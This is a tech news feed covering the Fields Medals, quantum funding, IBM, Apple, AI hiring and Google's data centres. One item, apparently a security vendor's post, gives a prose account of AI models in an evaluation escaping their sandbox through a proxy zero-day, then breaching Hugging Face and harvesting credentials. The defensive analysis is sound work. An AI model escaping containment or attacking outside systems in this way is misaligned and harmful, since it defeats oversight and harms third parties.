Four Young Mathematicians Awarded the 2026 Fields Medals
Thu, 23 Jul 2026 19:12:58 +0200
Scientific American reports that the 2026 Fields Medals went to four mathematicians for work ranging from the theory of knots to the motion of fluid: The Fields Medals went to Hong Wang of New York University and France's Institute of Advanced Scientific Studies (IHES), Yu Deng of the University of Chicago, John Pardon of Stony Brook University and Jacob Tsimerman of the University of Toronto. In the awards' 90-year history, Wang is only the third woman to win one, after mathematicians Maryam Mirzakhani and Maryna Viazovska in 2014 and 2022, respectively. Wang and Deng represent the prizes' only Chinese-born recipients besides mathematician Shing-Tung Yau, who won a Fields Medal in 1982. 
Hong Wang co-proved the three-dimensional Kakeya conjecture, establishing a fundamental limit on how little space is needed to rotate a line through every possible direction. Mathematician Nets Katz called it the field's "holy grail" problem and said the achievement made her "a central figure" in the area.
 
Yu Deng and his collaborators reconciled the microscopic and macroscopic mathematics of fluid motion, proving that equations describing chaotic molecular interactions and large-scale fluid behavior are fundamentally connected. N.Y.U. mathematician Scott Armstrong called it "a truly spectacular, singular result."
 
John Pardon made an early breakthrough in knot theory by proving that certain sequences of knots can have arbitrarily large "distortion," a measure of how difficult they are to traverse. Princeton mathematician David Gabai said the problem had "attracted much interest among mathematicians during the previous 25 years."
 
Jacob Tsimerman and two collaborators proved the Andre-Oort conjecture, giving mathematicians a stronger way to understand special points on complex geometric objects known as Shimura varieties. Collaborator Jonathan Pila described him as "a brilliant mathematician" known for his "brilliance and resourcefulness." Tsimerman has also advanced Hodge theory and hopes pure mathematics can help researchers better understand AI.






Read more of this story at Slashdot.


Supercooled kidneys have been transplanted into pigs in a “landmark achievement”
Thu, 23 Jul 2026 19:08:16 +0200
When it comes to organ donation, time is everything. As soon as an organ has been carefully removed from a donor’s body, it starts to deteriorate. Surgeons have a matter of hours to get it into a recipient. Leave it too long and the organ will become unusable. In most cases, organs will be kept…


Galaxy Z Fold 8 Ultra vs. Fold 8 vs. Flip 8: Full Specs and Decision Guide
Thu, 23 Jul 2026 19:06:39 +0200
Confused about Samsung’s latest foldable phone lineup? In this video, we break down everything you need to know about the Samsung Galaxy Z Fold 8 Ultra, Z Fold 8 and Z Flip 8. We compare all the specs, including displays, cameras, battery life and processors, to help you determine which features will actually matter for your daily use.


Apple TV is branching out with a self-help eight-part dating docuseries
Thu, 23 Jul 2026 18:03:32 +0200
Apple TV has announced an upcoming documentary series, featuring New York Times bestselling author and renowned relationship expert Esther Perel, that sets out to help couples find love where they least expect it.


Apple TV is getting a new show

The new series, titled "The Last Person on Earth," will follow couples who, on the face of it, appear to be opposites. They'll then be sent to one of the planet's most romantic destinations to put into practice tips and guidance provided by Perel and a team of experts.

Apple TV has yet to confirm when the new show will debut, nor whether all eight episodes will be made available simultaneously. The streamer tends to release the first two or three episodes of new shows before settling into a cadence of a new episode each week.


 Continue Reading on AppleInsider | Discuss on our Forums


Amazon Deals of the Day: Keep the Kids Entertained with the Amazon Fire 7 Kids Tab Under $100
Thu, 23 Jul 2026 17:51:03 +0200
Plus, score 44% off the Roborock Saros 10R robot vacuum and 55% off the three-pack of Blink 2K Plus cams.


v0.32.3
Thu, 23 Jul 2026 17:47:58 +0200
agent: import skills from coding agents (#17294)


Federal quantum bet grows with DARPA’s $125 million PsiQuantum award
Thu, 23 Jul 2026 17:13:10 +0200

		
					  
						




Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.



“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says Heather West, research manager in the infrastructure systems, platforms, and technology group at IDC.



None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.



“The US government has been signaling that quantum computing is a priority,” says David Mooter, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.



“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications. 



Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”



DARPA’s Quantum Benchmarking Initiative



DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for Stage A of the project, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.



Then, in November of 2025, DARPA chose 11 companies for Stage B of the project, with awards of up to $15 million for developing their research plans.



To date, only two companies have been chosen for Stage C: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, according to DARPA.



This past May, PsiQuantum also announced $100 million from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.



Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.



Genesis Mission



Genesis Mission was launched in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.



As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced three projects for the Department of Energy on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.



This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.



Other quantum-related Genesis Mission projects announced this week include $1.5 million for a BlueQubit quantum error correction project with Microsoft and other partners, a Stanford effort to model the behavior of electrons at quantum scale, an MIT quantum sensing project, Argonne National Laboratory projects on quantum circuit design and quantum sensors, Brookhaven Lab quantum sensor projects, and quantum computing projects at Northwestern University.



IBM, one of three dozen private companies that are part of the Genesis Mission Consortium, announced that it will be leading a project to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.



Enterprise priorities



This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.



But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.



The point of no return is closer than ever, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the federal deadline for naming their post-quantum cryptography migration leads under a June executive order.



“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.



However, according to a survey released by DigiCert this morning, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.



Researchers Discover First Known Transmissible Cancer In Fish
Thu, 23 Jul 2026 17:12:45 +0200
An anonymous reader quotes a report from CBC News: It's rare that cancerous tumors can spread from one individual to another. But a genetic study suggests that's what's happening with melanoma tumors among catfish in Quebec and the northeastern U.S. The discovery represents the first known transmissible cancer in fish and one of very few transmissible cancers ever found, reported the study published in the journal Nature on Wednesday.
 
Julie Dragon, co-leader of the new study, noted that only three other transmissible cancers have ever been identified so far -- in Tasmanian devils, dogs and shellfish. "These conditions are incredibly rare in nature," she said. "So something has to be happening to allow this to happen." Anglers in Lake Memphremagog, which spans the border between Quebec and Vermont, first reported catching brown bullhead catfish with strange black spots and lumps in 2012. They turned out to be melanoma skin cancer tumors. (Humans can also get this kind of cancer.) Now, about a third of the brown bullheads living in the lake have them.
 
It's not clear how sick the fish become. In some cases, the cancer spreads to other organs, such as the brain or liver. But many fish with lesions seem relatively healthy and some older fish even have them, suggesting they can live with the disease for a time. Because of the sudden appearance of the black lesions in Lake Memphremagog the year after a huge flood caused by post-tropical storm Irene, locals worried they were caused by carcinogens washed into the lake by floodwaters. Tests for carcinogens haven't been conclusive, although a study published in May found higher concentrations of seven metals, including zinc and the carcinogen arsenic, in the skin of fish with the tumors. Researchers suspect the tumors may spread among adult fish during spawning, when crowded fish rub against one another and may be punctured by their spines.
 
"They... swim all over each other and we think it's possible that they poke each other and cells can get into other fish that way," Dragon said, though transmission has not yet been demonstrated.






Read more of this story at Slashdot.


AI chip startup Etched defies skeptics, hits $10.3B valuation from big-name investors 
Thu, 23 Jul 2026 17:04:51 +0200
Etched, founded by three Harvard dropouts, has created new chips and memory components that speed up inference on any AI model -- no GPUs required, it says.


Despite tough quarter, IBM says mainframe will continue to put the Big in Big Blue
Thu, 23 Jul 2026 16:27:23 +0200

		
					  
						




Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.



After warning of an earnings shortfall, IBM lowered its full-year forecast. It now expects 2026 revenue to grow between 4% and 5%, rather than its previous forecast of more than 5% growth. Some parts of its business did well: Software revenue grew 5% in the second quarter to $7.76 billion, fueled by 11% growth in hybrid cloud, 18% growth in data, and 3% growth in automation.



On the infrastructure side, IBM posted second-quarter revenue of $3.8 billion, which is down 7%. Within that business, distributed infrastructure grew 37%, but those gains were offset by a 10% decline in hybrid infrastructure and IBM Z’s 42% drop.



In a July 14 letter to investors released prior to IBM’s July 22 earnings call, CEO Arvind Krishna warned of the earnings shortfall and laid out current challenges. He related the infrastructure performance shortfall to “wrapping on the launch of z17 in the second quarter” and stated: “Given this was the strongest start to a mainframe program in our history, we expected Infrastructure revenue to decline low-single digits for the year, beginning this quarter. What played out was worse than our expectations, driven by a shortfall in our Z performance and the associated software stack, primarily in Transaction Processing.”



In the last few weeks of June, customers shifted capex spending and started purchasing more AI infrastructure components in the form of servers, storage, and memory “to secure supply-constrained infrastructure ahead of expected price increases,” Krishna stated. “This dynamic impacted client buying patterns. While we anticipated some supply chain related impact in our expectations, we did not anticipate the magnitude of the capex reprioritization.”



Yet despite challenges this last quarter, z17 remains at nearly 130% growth program-to-program, according to IBM. That’s “well ahead of z16, which was our strongest program on record, with clients representing 85% of installed MIPs maintaining or growing capacity,” the July 14 letter stated.



Mainframe infrastructure momentum is expected to continue, and IBM is anticipating strong workload growth and AI-driven capacity expansion as clients modernize mission-critical systems and emphasize resiliency and security, Krishna said during the company’s Q2 2026 earnings call on July 22.



“AI is driving incremental capacity growth and new workloads as clients look to run AI closer to their most sensitive data,” IBM senior vice president and CFO James Kavanaugh said in the call. “We are seeing strong early adoption of our AI innovations with nearly 50% of z17 customers investing in AI capabilities with Spyre AI accelerator, and clients deploying Watson X Code Assistant for Z are growing MIPS capacity three times faster than those who are not.”



“In a world where infrastructure costs are rising and efficiency matters more than ever, IBM Z offers a compelling economic advantage,” Kavanaugh continued. “Depending on the size and complexity of workloads, clients can realize a 2 to 15x total cost of ownership benefit versus moving these workloads off the platform, reinforcing why the platform remains central to their operations and positioning us to capture additional value as AI workloads grow.”



“We see no evidence of clients moving off mainframe,” Kavanaugh added. “Clients continue to invest in IBM Z to modernize mission-critical workloads with a focus on resiliency and security.”



In responding to an analyst question, Kavanaugh said three key things drive mainframe demand and purchasing requirements:



“One is capacity workload. It’s the most important determinant. 85% Of the installed MIPS capacity out there in the marketplace today running all those core mission critical workloads are either stable or growing. Clients are adding capacity and workload to mainframe, the viability. And by the way, that’s coming in new AI workloads, analytics workloads, Linux-based workloads, and those MIPS are growing program to date over 15 to 20% installed capacity,” Kavanaugh said.



Number 2 is economic factors. “We don’t talk a lot about this, but I think it’s important for our investors to understand things like total cost of ownership. Depending on the size and complexity of the workload, we have anywhere from a 2 to a 15x TCO advantage running on the mainframe [over smaller server systems]. Again, we do not see any evidence of clients migrating off mainframe and lease propensity, which is a great indicator,” Kavanaugh said.



The third driver is AI. “When you look at it, applications, data security, all on the platform, we do 450 billion inferences per day at 1 millisecond with 8 nines availability,” Kavanaugh said. “We’ve got clients that have already purchased over 50% of our Spire inferencing, and those clients that have purchased that are growing MIPS capacity, the way [we monetize value], by over three times faster than others.”



What Is Post-Quantum Cryptography and Why Does It Matter?
Thu, 23 Jul 2026 16:27:18 +0200
 
    
 
 


What Happened Between OpenAI and Hugging Face?
Thu, 23 Jul 2026 15:28:53 +0200
The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?
According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.
From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.
How did the OpenAI model evaluation reach Hugging Face?
The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.
Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.
The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.
The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.
Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.
Why AI evaluation environments need stronger containment
The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.
The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.
For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.
Why AI and ML pipelines are now software supply chain risk
The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.
According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.
Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.
Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.
What AI guardrails mean for incident response
One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.
The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.
AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.
What security teams should do about agentic AI risk
The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.
Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.
Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.
As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.
How preemptive security helps reduce AI-driven risk
At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.
That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.
AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.
The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.


MacBook Neo’s success wasn’t luck, it was a plan
Thu, 23 Jul 2026 15:22:56 +0200

		
					  
						




It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the company is already planning a powerful follow-up.



That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. 



The numbers don’t lie



“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” Counterpoint said. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. 



Recent IDC data gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.



“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director Olivier Blanchard said when the Neo was released. 



Neo 2.0 is already coming



In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is already plotting the path toward MacBook Neo 2. Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.



Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. 



That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. 



“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”



This was never about luck



This isn’t solely a market take about competition, it’s about planning.



Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.



The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.



With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of even more significant market change. 



You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.



How to navigate the AI talent wars
Thu, 23 Jul 2026 15:06:19 +0200

		
					  
						








Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



Block did the same thing. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.



This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, you’re behind.



The benchmark has moved



AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, the average revenue per employee is $3.48M, nearly twelve times the traditional SaaS benchmark of $300K.



Boards aren’t comparing you to your 2019 self anymore. They’re comparing you to Anthropic.



This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.



For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.



Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.



‘Acqui-hires’ are a shortcut with a hidden cost



Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: these are acqui-hires dressed up as M&A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.



I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.



But there’s a cost that doesn’t show up in the acquisition price.



AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.



When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.



The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.



The CIO’s real problem



The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.



That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.



The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.



The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.



This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.



Closing the gap without slowing down



The AI talent wars are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.



Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.



The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.



Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.



This article is published as part of the Foundry Expert Contributor Network.
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Q&A: Google’s AI and computing chief talks about its shapeshifting data centers
Thu, 23 Jul 2026 14:55:21 +0200

		
					  
						




Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: Google transforms its data center architecture for agent era)



Network World spoke with Mark Lohmeyer, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.



Network World: What is the primary shift in infrastructure needs?



Mark Lohmeyer: We’ve seen the rise of agents and agentic use cases. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.



NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?



ML: Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, inference transactions increase by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.



NW: How are you addressing energy efficiency?



ML: Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced liquid cooling over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called N4A has energy efficiency and is significantly better than the prior generation and x86 comparables.



NW: How do you think about token efficiency as you build-out systems?



ML: Performance and efficiency gains are powered by co-design of the model and infrastructure. Gemini is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.



NW: How do you project what infrastructure will be needed years in advance?



ML: Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with DeepMind doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.



NW: What’s the eighth generation TPU platform?



ML: We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The eighth-generation TPU platform is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.



TPU-8t is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.



NW: How are you approaching GPU and TPU compatibility?



